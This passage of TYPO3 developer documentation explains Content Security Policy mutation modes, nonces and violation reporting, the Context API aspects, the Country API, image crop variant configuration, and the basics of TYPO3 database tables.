EXT:my_extension/Configuration/ContentSecurityPolicies.php
<?php

declare(strict_types=1);

use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Directive;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Mutation;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\MutationCollection;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\MutationMode;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Scope;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\SourceKeyword;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\SourceScheme;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\UriValue;
use TYPO3\CMS\Core\Type\Map;

return Map::fromEntries([
    Scope::frontend(),
    new MutationCollection(
        new Mutation(
            MutationMode::Set,
            Directive::DefaultSrc,
            SourceKeyword::self,
        ),
        new Mutation(
            MutationMode::InheritOnce,
            Directive::ImgSrc,
        ),
        new Mutation(
            MutationMode::Append,
            Directive::ImgSrc,
            new UriValue('example.com'),
        ),
        new Mutation(
            MutationMode::Set,
            Directive::DefaultSrc,
            SourceScheme::data,
        ),
        new Mutation(
            MutationMode::InheritOnce,
            Directive::ImgSrc,
        ),
    ),
]);
Copied!

Results in:

Content-Security-Policy: default-src data:; img-src 'self' example.com
Copied!

Note that data: is not inherited to img-src. If you want to inherit also data: to img-src use inherit-again.

reduce

reduce
YAML
reduce
PHP
\TYPO3\CMS\Core\Security\ContentSecurityPolicy\MutationMode::Reduce

Reduces a directive by a given aspect.

Example:

config/sites/<my_site>/csp.yaml | typo3conf/sites/<my_site>/csp.yaml
mutations:
  - mode: "set"
    directive: "img-src"
    sources:
      - "'self'"
      - "data:"
      - "example.com"

  - mode: "reduce"
    directive: "img-src"
    sources:
      - "data:"
Copied!
EXT:my_extension/Configuration/ContentSecurityPolicies.php
<?php

declare(strict_types=1);

use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Directive;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Mutation;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\MutationCollection;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\MutationMode;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Scope;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\SourceKeyword;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\SourceScheme;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\UriValue;
use TYPO3\CMS\Core\Type\Map;

return Map::fromEntries([
    Scope::frontend(),
    new MutationCollection(
        new Mutation(
            MutationMode::Set,
            Directive::ImgSrc,
            SourceKeyword::self,
            SourceScheme::data,
            new UriValue('example.com'),
        ),
        new Mutation(
            MutationMode::Reduce,
            Directive::ImgSrc,
            SourceScheme::data,
        ),
    ),
]);
Copied!

Results in:

Content-Security-Policy: default-src 'self' example.com
Copied!

remove

remove
YAML
remove
PHP
\TYPO3\CMS\Core\Security\ContentSecurityPolicy\MutationMode::Remove

Removes a directive completely.

Example:

config/sites/<my_site>/csp.yaml | typo3conf/sites/<my_site>/csp.yaml
mutations:
  - mode: "set"
    directive: "default-src"
    sources:
      - "'self'"

  - mode: "set"
    directive: "img-src"
    sources:
      - "data:"

  - mode: "remove"
    directive: "img-src"
Copied!
EXT:my_extension/Configuration/ContentSecurityPolicies.php
<?php

declare(strict_types=1);

use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Directive;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Mutation;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\MutationCollection;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\MutationMode;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Scope;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\SourceKeyword;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\SourceScheme;
use TYPO3\CMS\Core\Type\Map;

return Map::fromEntries([
    Scope::frontend(),
    new MutationCollection(
        new Mutation(
            MutationMode::Set,
            Directive::DefaultSrc,
            SourceKeyword::self,
        ),
        new Mutation(
            MutationMode::Set,
            Directive::ImgSrc,
            SourceScheme::data,
        ),
        new Mutation(
            MutationMode::Remove,
            Directive::ImgSrc,
        ),
    ),
]);
Copied!

Results in:

Content-Security-Policy: default-src 'self'
Copied!

set

set
YAML
set
PHP
\TYPO3\CMS\Core\Security\ContentSecurityPolicy\MutationMode::Set

Sets (overrides) a directive completely.

Example:

config/sites/<my_site>/csp.yaml | typo3conf/sites/<my_site>/csp.yaml
mutations:
  - mode: "set"
    directive: "img-src"
    sources:
      - "'self'"
Copied!
EXT:my_extension/Configuration/ContentSecurityPolicies.php
<?php

declare(strict_types=1);

use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Directive;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Mutation;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\MutationCollection;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\MutationMode;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Scope;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\SourceKeyword;
use TYPO3\CMS\Core\Type\Map;

return Map::fromEntries([
    Scope::frontend(),
    new MutationCollection(
        new Mutation(
            MutationMode::Set,
            Directive::ImgSrc,
            SourceKeyword::self,
        ),
    ),
]);
Copied!

Results in:

Content-Security-Policy: img-src 'self'
Copied!

Nonce

The nonce attribute is useful to allowlist specific elements, such as a particular inline script or style elements. It can help you to avoid using the CSP unsafe-inline directive, which would allowlist all inline scripts or styles.

-- MDN Web Docs, https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/nonce

It may look like this in your HTML code:

<link
    rel="stylesheet"
    href="/_assets/af46f1853e4e259cbb8ebcb816eb0403/Css/styles.css?1687696548"
    media="all"
    nonce="sqK8LkqFp-aWHc7jkHQ4aT-RlUp5cde9ZW0F0-BlrQbExX-PRMoTkw"
>

<style nonce="sqK8LkqFp-aWHc7jkHQ4aT-RlUp5cde9ZW0F0-BlrQbExX-PRMoTkw">
    /* some inline styles */
</style>

<script
    src="/_assets/27334a649e36d0032b969fa8830590c2/JavaScript/scripts.js?1684880443"
    nonce="sqK8LkqFp-aWHc7jkHQ4aT-RlUp5cde9ZW0F0-BlrQbExX-PRMoTkw"
></script>

<script nonce="sqK8LkqFp-aWHc7jkHQ4aT-RlUp5cde9ZW0F0-BlrQbExX-PRMoTkw">
    /* some inline JavaScript */
</script>
Copied!

The nonce changes with each request so that (possibly malicious) inline scripts or styles are blocked by the browser.

The nonce is applied automatically, when scripts or styles are defined with the TYPO3 API, like TypoScript ( page.includeJS, etc.) or the asset collector. This only refers to referenced files (via src and href attributes) and not inline scripts or inline styles. For those, you should either use the PHP/Fluid approach as listed below, or use TypoScript only for passing DOM attributes and using external scripts to actually evaluate these attributes to control functionality.

TYPO3 provides APIs to get the nonce for the current request:

Retrieve with PHP

The nonce can be retrieved via the nonce request attribute:

// use TYPO3\CMS\Core\Domain\ConsumableString

/** @var ConsumableString|null $nonceAttribute */
$nonceAttribute = $this->request->getAttribute('nonce');
if ($nonceAttribute instanceof ConsumableString) {
    $nonce = $nonceAttribute->consume();
}
Copied!

In a Fluid template

The f:security.nonce ViewHelper is available, which provides the nonce in a Fluid template, for example:

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<script nonce="{f:security.nonce()}">
    const inline = 'script';
</script>

<style nonce="{f:security.nonce()}">
    .some-style { color: red; }
</style>
Copied!

You can also use the f:asset.script or f:asset.css ViewHelpers with the useNonce attribute:

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<f:asset.script identifier="my-inline-script" useNonce="1">
    const inline = 'script';
</f:asset.script>

<f:asset.css identifier="my-inline-style" useNonce="1">
    .some-style { color: red; }
</f:asset.css>
Copied!

Notes about nonces and caching

Nonces are implemented via a PSR middleware and thus applied dynamically. This also means, they are somewhat "bad" for caching (especially for reverse proxies), since they create unique output for a specific visitor.

Since the goal of nonces are to allow "exemptions" for otherwise forbidden content, this closely relates to validity or integrity of this forbidden content. Instead of emitting unique nonces, another possibility is to utilize hashing functionality to content regarded as "safe".

This can be done with sha256/sha384/sha512 hashing of referenced script, and including them as a valid directive, like this:

The "sha256-..." block would be the SHA256 hash created from a file like 'script.js'.

For example, a file like this:

script.js (some javascript file that is included in your website)
console.log('Hello.');
Copied!

would correspond to a SHA256 hash of 6c7d3c1bf856597a2c8ae2ca7498cb4454a32286670b20cf36202fa578b491a9.

The browser would evaluate a reference JavaScript file and calculate it's SHA256 hash and compare it to the list of allowed hashes.

The downside of this is: Everytime an embedded file changes (like via build processes), the CSP SHA hash would need to be adopted. This could be automated by a PHP definition of CSP rules and hashing files automatically, which would be a performance-intense process and call for its own caching.

There is no automatism for this kind of hashing in TYPO3 (yet, see https://forge.typo3.org/issues/100887), so it has to be done manually as outlined above.

Reporting of violations, CSP Backend module

Potential CSP violations are reported back to the TYPO3 system and persisted internally in the database table sys_http_report. A corresponding Admin Tools > Content Security Policy backend module supports users to keep track of recent violations and - if applicable - to select potential resolutions (stored in the database table sys_csp_resolution) which extends the Content Security Policy for the given scope during runtime:

Backend module "Content Security Policy" which displays the violations

Clicking on a row displays the details of this violation on the right side including suggestions on how to resolve this violation. You have the choice to apply this suggestion, or to mute or delete the specific violation.

Using a third-party service

As an alternative to the built-in reporting module, an external reporting URL can be configured to use a third-party service as well:

config/system/additional.php
// For backend
$GLOBALS['TYPO3_CONF_VARS']['BE']['contentSecurityPolicyReportingUrl']
    = 'https://csp-violation.example.org/';

// For frontend
$GLOBALS['TYPO3_CONF_VARS']['FE']['contentSecurityPolicyReportingUrl']
    = 'https://csp-violation.example.org/';
Copied!

Violations are then sent to the third-party service instead of the TYPO3 endpoint. Resolutions would then not be applied dynamically.

Disabling content security policy reporting globally

Administrators can disable the reporting endpoint globally or configure it per site as needed. (See Example: Disabling the reporting endpoint).

If defined, the site-specific configuration takes precedence over the global configuration.

In case the explicitly disabled endpoint still would be called, the server-side process responds with a 403 HTTP error message.

The global scope-specific setting contentSecurityPolicyReportingUrl can be set to zero ('0') to disable the CSP reporting endpoint:

config/system/additional.php
// For backend
$GLOBALS['TYPO3_CONF_VARS']['BE']['contentSecurityPolicyReportingUrl'] = '0';

// For frontend
$GLOBALS['TYPO3_CONF_VARS']['FE']['contentSecurityPolicyReportingUrl'] = '0';
Copied!

Active content security policy rules

The backend module System > Configuration > Content Security Policy Mutations uses a simple tree display of all configured directives, grouped by frontend or backend. Each rule shows where it is defined, and what its final policy is set to:

Backend module "Configuration > Content Security Policy Mutations" which displays a tree of all policy directives.

PSR-14 events

The following PSR-14 events are available:

Context API and aspects

Introduction

The Context API encapsulates various information for data retrieval (for example, inside the database) and analysis of current permissions and caching information.

The context is set up at the very beginning of each TYPO3 entry point, keeping track of, for example, the current time, if a user is logged in and which workspace is currently accessed.

The \TYPO3\CMS\Core\Context\Context object can be retrieved via dependency injection:

EXT:my_extension/Classes/Controller/MyController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use TYPO3\CMS\Core\Context\Context;

final class MyController
{
    public function __construct(
        private readonly Context $context,
    ) {}
}
Copied!

This information is separated in so-called "aspects", each being responsible for a certain area.

Aspects

Date time aspect

Contains time, date and timezone information for the current request.

The date time aspect, \TYPO3\CMS\Core\Context\DateTimeAspect , accepts the following properties:

timestamp

timestamp
Call
$this->context->getPropertyFromAspect('date', 'timestamp');

Returns the Unix timestamp as an integer value.

timezone

timezone
Call
$this->context->getPropertyFromAspect('date', 'timezone');

Returns the timezone name, for example, "Germany/Berlin".

iso

iso
Call
$this->context->getPropertyFromAspect('date', 'iso');

Returns the datetime as string in ISO 8601 format, for example, "2004-02-12T15:19:21+00:00".

full

full
Call
$this->context->getPropertyFromAspect('date', 'full');

Returns the complete \DateTimeImmutable object.

Example

EXT:my_extension/Classes/Controller/MyController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use TYPO3\CMS\Core\Context\Context;

final class MyController
{
    public function __construct(
        private readonly Context $context,
    ) {}

    public function doSomething(): void
    {
        $currentTimestamp = $this->context->getPropertyFromAspect(
            'date',
            'timestamp',
        );

        // ... do something with $currentTimestamp
    }
}
Copied!

Language aspect

Contains information about language settings for the current request, including fallback and overlay logic.

The language aspect, \TYPO3\CMS\Core\Context\LanguageAspect accepts the following properties:

id

id
Call
$this->context->getPropertyFromAspect('language', 'id');

Returns the requested language of the current page as integer (uid).

contentId

contentId
Call
$this->context->getPropertyFromAspect('language', 'contentId');

Returns the language ID of records to be fetched in translation scenarios as integer (uid).

fallbackChain

fallbackChain
Call
$this->context->getPropertyFromAspect('language', 'fallbackChain');

Returns the fallback steps as array.

overlayType

overlayType
Call
$this->context->getPropertyFromAspect('language', 'overlayType');

Returns one of

  • LanguageAspect::OVERLAYS_OFF
  • LanguageAspect::OVERLAYS_MIXED
  • LanguageAspect::OVERLAYS_ON or
  • LanguageAspect::OVERLAYS_ON_WITH_FLOATING (default)

See Overlay types for more details.

legacyLanguageMode

legacyLanguageMode
Call
$this->context->getPropertyFromAspect('language', 'legacyLanguageMode');

Returns one of

  • strict
  • ignore or
  • content_fallback.

This property is kept for compatibility reasons. Do not use, if not really necessary, the option will be removed rather sooner than later.

legacyOverlayType

legacyOverlayType
Call
$this->context->getPropertyFromAspect('language', 'legacyOverlayType');

Returns one of

  • hideNonTranslated
  • 0 or
  • 1.

This property is kept for compatibility reasons. Do not use, if not really necessary, the option will be removed rather sooner than later.

Overlay types

LanguageAspect::OVERLAYS_OFF
Just fetch records from the selected language as given by LanguageAspect->getContentId(). No overlay will happen, no fetching of the records from the default language. This boils down to "free mode" language handling. Records without a default language parent are included.
LanguageAspect::OVERLAYS_MIXED
Fetch records from the default language and overlay them with translations. If a record is not translated, the default language will be used.
LanguageAspect::OVERLAYS_ON
Fetch records from the default language and overlay them with translations. If a record is not translated, it will not be displayed.
LanguageAspect::OVERLAYS_ON_WITH_FLOATING
Fetch records from the default language and overlay them with translations. If a record is not translated, it will not be shown. Records without a default language parent are included.

Example

EXT:my_extension/Classes/Controller/MyController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use TYPO3\CMS\Core\Context\Context;

final class MyController
{
    public function __construct(
        private readonly Context $context,
    ) {}

    public function doSomething(): void
    {
        $fallbackChain = $this->context->getPropertyFromAspect(
            'language',
            'fallbackChain',
        );

        // ... do something with $fallbackChain
    }
}
Copied!

Preview aspect

The preview aspect may be used to indicate that the frontend is in preview mode (for example, in case a workspace is previewed or hidden pages or records should be shown).

The preview aspect, \TYPO3\CMS\Frontend\Aspect\PreviewAspect , contains the following property:

isPreview

isPreview
Call
$this->context->getPropertyFromAspect('frontend.preview', 'isPreview');

Returns, whether the frontend is currently in preview mode.

User aspect

Contains information about authenticated users in the current request. The aspect can be used for frontend and backend users.

The user aspect, \TYPO3\CMS\Core\Context\UserAspect , accepts the following properties:

id

id
Call
$this->context->getPropertyFromAspect('frontend.user', 'id'); or $this->context->getPropertyFromAspect('backend.user', 'id');

Returns the uid of the currently logged in user, 0 if no user is logged in.

username

username
Call
$this->context->getPropertyFromAspect('frontend.user', 'username'); or $this->context->getPropertyFromAspect('backend.user', 'username');

Returns the username of the currently authenticated user. Empty string, if no user is logged in.

isLoggedIn

isLoggedIn
Call
$this->context->getPropertyFromAspect('frontend.user', 'isLoggedIn'); or $this->context->getPropertyFromAspect('backend.user', 'isLoggedIn');

Returns, whether a user is logged in, as boolean.

isAdmin

isAdmin
Call
$this->context->getPropertyFromAspect('backend.user', 'isAdmin');

Returns, whether the user is an administrator, as boolean. It is only useful for backend users.

groupIds

groupIds
Call
$this->context->getPropertyFromAspect('frontend.user', 'groupIds'); or $this->context->getPropertyFromAspect('backend.user', 'groupIds');

Returns the groups the user is a member of, as array.

groupNames

groupNames
Call
$this->context->getPropertyFromAspect('frontend.user', 'groupNames'); or $this->context->getPropertyFromAspect('backend.user', 'groupNames');

Returns the names of all groups the user belongs to, as array.

Example

EXT:my_extension/Classes/Controller/MyController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use TYPO3\CMS\Core\Context\Context;

final class MyController
{
    public function __construct(
        private readonly Context $context,
    ) {}

    public function doSomething(): void
    {
        $userIsLoggedIn = $this->context->getPropertyFromAspect(
            'frontend.user',
            'isLoggedIn',
        );

        // ... do something with $userIsLoggedIn
    }
}
Copied!

Visibility aspect

The aspect contains whether to show hidden pages, records (content) or even deleted records.

The visibility aspect, \TYPO3\CMS\Core\Context\VisibilityAspect , accepts the following properties:

includeHiddenPages

includeHiddenPages
Call
$this->context->getPropertyFromAspect('visibility', 'includeHiddenPages');

Returns, whether hidden pages should be displayed, as boolean.

includeHiddenContent

includeHiddenContent
Call
$this->context->getPropertyFromAspect('visibility', 'includeHiddenContent');

Returns, whether hidden content should be displayed, as boolean.

includeDeletedRecords

includeDeletedRecords
Call
$this->context->getPropertyFromAspect('visibility', 'includeDeletedRecords');

Returns, whether deleted records should be displayed, as boolean.

Example

EXT:my_extension/Classes/Controller/MyController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use TYPO3\CMS\Core\Context\Context;

final class MyController
{
    public function __construct(
        private readonly Context $context,
    ) {}

    public function doSomething(): void
    {
        $showHiddenPages = $this->context->getPropertyFromAspect(
            'visibility',
            'includeHiddenPages',
        );

        // ... do something with $showHiddenPages
    }
}
Copied!

Workspace aspect

The aspect contains information about the currently accessed workspace.

The workspace aspect, \TYPO3\CMS\Core\Context\WorkspaceAspect , accepts the following properties:

id

id
Call
$this->context->getPropertyFromAspect('workspace', 'id');

Returns the UID of the currently accessed workspace, as integer.

isLive

isLive
Call
$this->context->getPropertyFromAspect('workspace', 'isLive');

Returns whether the current workspace is live, or a custom offline workspace, as boolean.

isOffline

isOffline
Call
$this->context->getPropertyFromAspect('workspace', 'isOffline');

Returns, whether the current workspace is offline, as boolean.

Example

EXT:my_extension/Classes/Controller/MyController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use TYPO3\CMS\Core\Context\Context;

final class MyController
{
    public function __construct(
        private readonly Context $context,
    ) {}

    public function doSomething(): void
    {
        $showHiddenPages = $this->context->getPropertyFromAspect(
            'workspace',
            'id',
        );

        // ... do something with $showHiddenPages
    }
}
Copied!

Country API

TYPO3 ships a list of countries of the world. The list is based on the ISO 3166-1 standard, with the alphanumeric short name ("FR" or "FRA" in its three-letter short name), the English name ("France"), the official name ("Republic of France"), also the numerical code, and the country's flag as emoji (UTF-8 representation).

Using the PHP API

Dependency injection can be used to retrieve the \TYPO3\CMS\Core\Country\CountryProvider class:

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension;

use TYPO3\CMS\Core\Country\CountryProvider;

final class MyClass
{
    public function __construct(
        private readonly CountryProvider $countryProvider,
    ) {}
}
Copied!

Get all countries

To get all countries call the getAll() method:

EXT:my_extension/Classes/MyClass.php
$allCountries = $this->countryProvider->getAll();
Copied!

The method returns an array of \TYPO3\CMS\Core\Country\Country objects.

Get a country

EXT:my_extension/Classes/MyClass.php
// Get the country by Alpha-2 code
$france = $this->countryProvider->getByIsoCode('FR');

// Get the country by name
$france = $this->countryProvider->getByEnglishName('France');

// Get the country by Alpha-3 code
$france = $this->countryProvider->getByAlpha3IsoCode('FRA');
Copied!

The methods return a \TYPO3\CMS\Core\Country\Country object.

Filter countries

One can use filters to get the desired countries:

EXT:my_extension/Classes/MyClass.php
use TYPO3\CMS\Core\Country\CountryFilter;

$filter = new CountryFilter();

// Alpha-2 and Alpha-3 ISO codes can be used
$filter
    ->setOnlyCountries(['AT', 'DE', 'FR', 'DK'])
    ->setExcludeCountries(['AUT', 'DK']);

// Will be an array with "Germany" and "France"
$filteredCountries = $this->countryProvider->getFiltered($filter);
Copied!

The method getFiltered() return an array of \TYPO3\CMS\Core\Country\Country objects.

The Country object

A country object can be used to fetch all information about it, also with translatable labels:

EXT:my_extension/Classes/MyClassWithTranslation.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension;

use TYPO3\CMS\Core\Country\CountryProvider;
use TYPO3\CMS\Core\Localization\LanguageServiceFactory;
use TYPO3\CMS\Core\Localization\Locale;

final class MyClassWithTranslation
{
    public function __construct(
        private readonly CountryProvider $countryProvider,
        private readonly LanguageServiceFactory $languageServiceFactory,
    ) {}

    public function doSomething()
    {
        $languageService = $this->languageServiceFactory->create(new Locale('de'));
        $france = $this->countryProvider->getByIsoCode('FR');

        // "France"
        $france->getName();

        // "Frankreich"
        $languageService->sL($france->getLocalizedNameLabel());

        // "French Republic"
        echo $france->getOfficialName();

        // "Französische Republik"
        $languageService->sL($france->getLocalizedOfficialNameLabel());

        // 250
        $france->getNumericRepresentation();

        // "FR"
        $france->getAlpha2IsoCode();

        // "🇫🇷"
        $france->getFlag();
    }
}
Copied!

PHP API reference

CountryProvider

class CountryProvider
Fully qualified name
\TYPO3\CMS\Core\Country\CountryProvider

A class providing information about all countries.

Country data is generated from "Build/Scripts/updateIsoDatabase.php" (which in turn stems from https://github.com/sokil/php-isocodes-db-i18n)

getAll ( )
Returns
\Country[]
getByIsoCode ( string $isoCode)
param $isoCode

the isoCode

Returns
?\TYPO3\CMS\Core\Country\Country
getByAlpha2IsoCode ( string $isoCode)
param $isoCode

the isoCode

Returns
?\TYPO3\CMS\Core\Country\Country
getByAlpha3IsoCode ( string $isoCode)
param $isoCode

the isoCode

Returns
?\TYPO3\CMS\Core\Country\Country
getByEnglishName ( string $name)
param $name

the name

Returns
?\TYPO3\CMS\Core\Country\Country
getFiltered ( \TYPO3\CMS\Core\Country\CountryFilter $filter)
param $filter

the filter

Returns
array<string,\Country>

CountryFilter

class CountryFilter
Fully qualified name
\TYPO3\CMS\Core\Country\CountryFilter

Filter object to limit countries to a subset of all countries.

getExcludeCountries ( )
returntype

array

setExcludeCountries ( array $excludeCountries)
param array $excludeCountries

the excludeCountries

returntype

TYPO3\CMS\Core\Country\CountryFilter

getOnlyCountries ( )
returntype

array

setOnlyCountries ( array $onlyCountries)
param array $onlyCountries

the onlyCountries

returntype

TYPO3\CMS\Core\Country\CountryFilter

Country

class Country
Fully qualified name
\TYPO3\CMS\Core\Country\Country

DTO that keeps the information about a country. Never instantiate directly, use CountryProvider instead.

getName ( )
Returns
string
getLocalizedNameLabel ( )
Returns
string
getOfficialName ( )
Returns
?string
getLocalizedOfficialNameLabel ( )
Returns
string
getAlpha2IsoCode ( )
Returns
string
getAlpha3IsoCode ( )
Returns
string
getNumericRepresentation ( )
Returns
string
getFlag ( )
Returns
string
__toString ( )
Returns
string

Form ViewHelper

A Fluid ViewHelper is shipped with TYPO3 to render a dropdown for forms. See f:form.countrySelect for more information.

General Configuration

The following examples are meant to add one single cropping configuration to sys_file_reference, which will then apply to every record referencing images.

In this example we configure two crop variants, one with the id "mobile", one with the id "desktop". The array key defines the crop variant id, which will be used when rendering an image with the image view helper.

For each crop variant there's at least one ratio configuration defined as allowedAspectRatios:

  • its key must not contain the dot character (.):

    • good examples: NaN, 4:3 or other-format
    • bad example: 1:1.441
  • its value is an array consisting of two keys:

    • title: should be a string (or even better: a LLL reference)
    • value: should be a float (not a string!)
'config' => [
     'type' => 'imageManipulation',
     'cropVariants' => [
         'mobile' => [
             'title' => 'LLL:EXT:ext_key/Resources/Private/Language/locallang.xlf:imageManipulation.mobile',
             'allowedAspectRatios' => [
                 '4:3' => [
                     'title' => 'LLL:EXT:core/Resources/Private/Language/locallang_wizards.xlf:imwizard.ratio.4_3',
                     'value' => 4 / 3
                 ],
                 'NaN' => [
                     'title' => 'LLL:EXT:core/Resources/Private/Language/locallang_wizards.xlf:imwizard.ratio.free',
                     'value' => 0.0
                 ],
             ],
         ],
         'desktop' => [
             'title' => 'LLL:EXT:ext_key/Resources/Private/Language/locallang.xlf:imageManipulation.desktop',
             'allowedAspectRatios' => [
                 '4:3' => [
                     'title' => 'LLL:EXT:core/Resources/Private/Language/locallang_wizards.xlf:imwizard.ratio.4_3',
                     'value' => 4 / 3
                 ],
                 'NaN' => [
                     'title' => 'LLL:EXT:core/Resources/Private/Language/locallang_wizards.xlf:imwizard.ratio.free',
                     'value' => 0.0
                 ],
             ],
         ],
     ]
]
Copied!

Crop Area

It is also possible to define an initial crop area. If no initial crop area is defined, the default selected crop area will cover the complete image. Crop areas are defined relatively with floating point numbers. The x and y coordinates and width and height must be specified for that. The below example has an initial crop area in the size the previous image cropper provided by default.

'config' => [
    'type' => 'imageManipulation',
    'cropVariants' => [
        'mobile' => [
            'title' => 'LLL:EXT:ext_key/Resources/Private/Language/locallang.xlf:imageManipulation.mobile',
            'cropArea' => [
                'x' => 0.1,
                'y' => 0.1,
                'width' => 0.8,
                'height' => 0.8,
            ],
        ],
    ],
]
Copied!

Focus Area

Users can also select a focus area, when configured. The focus area is always inside the crop area and marks the area of the image which must be visible for the image to transport its meaning. The selected area is persisted to the database but will have no effect on image processing. The data points are however made available as data attribute when using the <f:image /> view helper and can be used by Javascript libraries.

The below example adds a focus area, which is initially one third of the size of the image and centered.

'config' => [
    'type' => 'imageManipulation',
    'cropVariants' => [
        'mobile' => [
            'title' => 'LLL:EXT:ext_key/Resources/Private/Language/locallang.xlf:imageManipulation.mobile',
            'focusArea' => [
                'x' => 1 / 3,
                'y' => 1 / 3,
                'width' => 1 / 3,
                'height' => 1 / 3,
            ],
        ],
    ],
]
Copied!

Cover Area

Images are often used in a context where they are overlaid with other DOM elements like a headline. To give editors a hint which area of the image is affected, when selecting a crop area, it is possible to define multiple so-called cover areas. These areas are shown inside the crop area. The focus area cannot intersect with any of the cover areas.

'config' => [
    'type' => 'imageManipulation',
    'cropVariants' => [
        'mobile' => [
            'title' => 'LLL:EXT:ext_key/Resources/Private/Language/locallang.xlf:imageManipulation.mobile',
            'coverAreas' => [
                [
                    'x' => 0.05,
                    'y' => 0.85,
                    'width' => 0.9,
                    'height' => 0.1,
                ]
            ],
        ],
    ],
]
Copied!

Rendering crop variants

To render specific crop variants, the variant can be specified as argument of the image view helper:

<f:image image="{data.image}" cropVariant="mobile" width="800" />
Copied!

Crop variants configuration per content element

It is possible to provide a configuration per content element. If you want a different cropping configuration for tt_content images, then you can add the following to your image field configuration of tt_content records:

'config' => [
    'overrideChildTca' => [
        'columns' => [
            'crop' => [
                'config' => [
                    'cropVariants' => [
                        'mobile' => [
                            'title' => 'LLL:EXT:ext_key/Resources/Private/Language/locallang.xlf:imageManipulation.mobile',
                            'cropArea' => [
                                'x' => 0.1,
                                'y' => 0.1,
                                'width' => 0.8,
                                'height' => 0.8,
                            ],
                        ],
                    ],
                ],
            ],
        ],
    ],
]
Copied!

Please note, you need to specify the target column name as array key. Most of the time this will be crop as this is the default field name for image manipulation in sys_file_reference

It is also possible to set the cropping configuration only for a specific tt_content element type by using the columnsOverrides feature:

$GLOBALS['TCA']['tt_content']['types']['textmedia']['columnsOverrides']['assets']['config']['overrideChildTca']['columns']['crop']['config'] = [
    'cropVariants' => [
       'default' => [
           'disabled' => true,
       ],
       'mobile' => [
           'title' => 'LLL:EXT:ext_key/Resources/Private/Language/locallang.xlf:imageManipulation.mobile',
           'cropArea' => [
               'x' => 0.1,
               'y' => 0.1,
               'width' => 0.8,
               'height' => 0.8,
           ],
           'allowedAspectRatios' => [
               '4:3' => [
                   'title' => 'LLL:EXT:core/Resources/Private/Language/locallang_wizards.xlf:imwizard.ratio.4_3',
                   'value' => 4 / 3
               ],
               'NaN' => [
                   'title' => 'LLL:EXT:core/Resources/Private/Language/locallang_wizards.xlf:imwizard.ratio.free',
                   'value' => 0.0
               ],
           ],
       ],
    ],
];
Copied!

Disable crop variants

Please note, as the array for overrideChildTca is merged with the child TCA, so are the crop variants that are defined in the child TCA (most likely sys_file_reference). Because you cannot remove crop variants easily, it is possible to disable them for certain field types by setting the array key for a crop variant disabled to the value true as you can see in the example above for the default variant.

Database access and scheme in TYPO3

Database structure and tables

TYPO3 distinguishes between internal and managed tables.

Internal tables

Used internally by TYPO3 and not accessible in the backend (e.g. tables such as be_sessions, sys_registry, cache tables). They are accessed via TYPO3 APIs such as the caching framework. These tables are not editable unless a specific backend module provides access.

Typical categories include:

  • Cache tables: Created automatically when using a database-based cache backend
  • Session tables: fe_sessions, be_sessions
  • System tables:

    • sys_registry: Global configuration
    • sys_log: Viewable via System > Log

Managed tables

Defined in the TCA and, by default, editable in the Web > List module. TYPO3 derives database schemas from the TCA configuration. Required fields such as uid and pid are generated automatically.

Required fields:

  • uid: Primary key (auto-incremented)
  • pid: Page reference (from the pages table)

Typical fields:

  • title: Title displayed in backend lists
  • crdate: Creation timestamp
  • tstamp: Last modification timestamp
  • sorting: Manual sort order
  • deleted: Soft delete flag
  • hidden or disabled: Visibility control

These fields and their behavior are defined in the table properties (ctrl section of TCA).

When records are rendered in the backend using the FormEngine, entries with the soft delete flag set ( deleted) will not be shown.

When querying tables via TypoScript, visibility fields such as hidden, startdate, and enddate are respected.

If you use the DBAL query builder to access the database, the restriction builder automatically filters records based on visibility fields unless explicitly disabled.

When using an Extbase repository, the query settings also apply visibility constraints by default, but can be reconfigured to change this behavior.

The pages table

Defines TYPO3's hierarchical page tree. All managed records reference a pages.uid via their pid.

  • The root page has pid = 0 and does not exist as a row in the table.
  • Only administrators can create records on the root level.
  • Tables must explicitly allow root-level records using -.

Many-to-many (MM) relations

MM tables store relationships between records. Examples include:

  • sys_category_record_mm: Categories and categorized records
  • sys_file_reference: File usage in content and pages

These tables may appear in the backend if configured via inline records.

Database records

In TYPO3, a record refers to an individual piece of content or data that is stored in the database. Each record is part of a table and represents a specific entity, such as a page, a content element, a backend user, or an extension configuration.

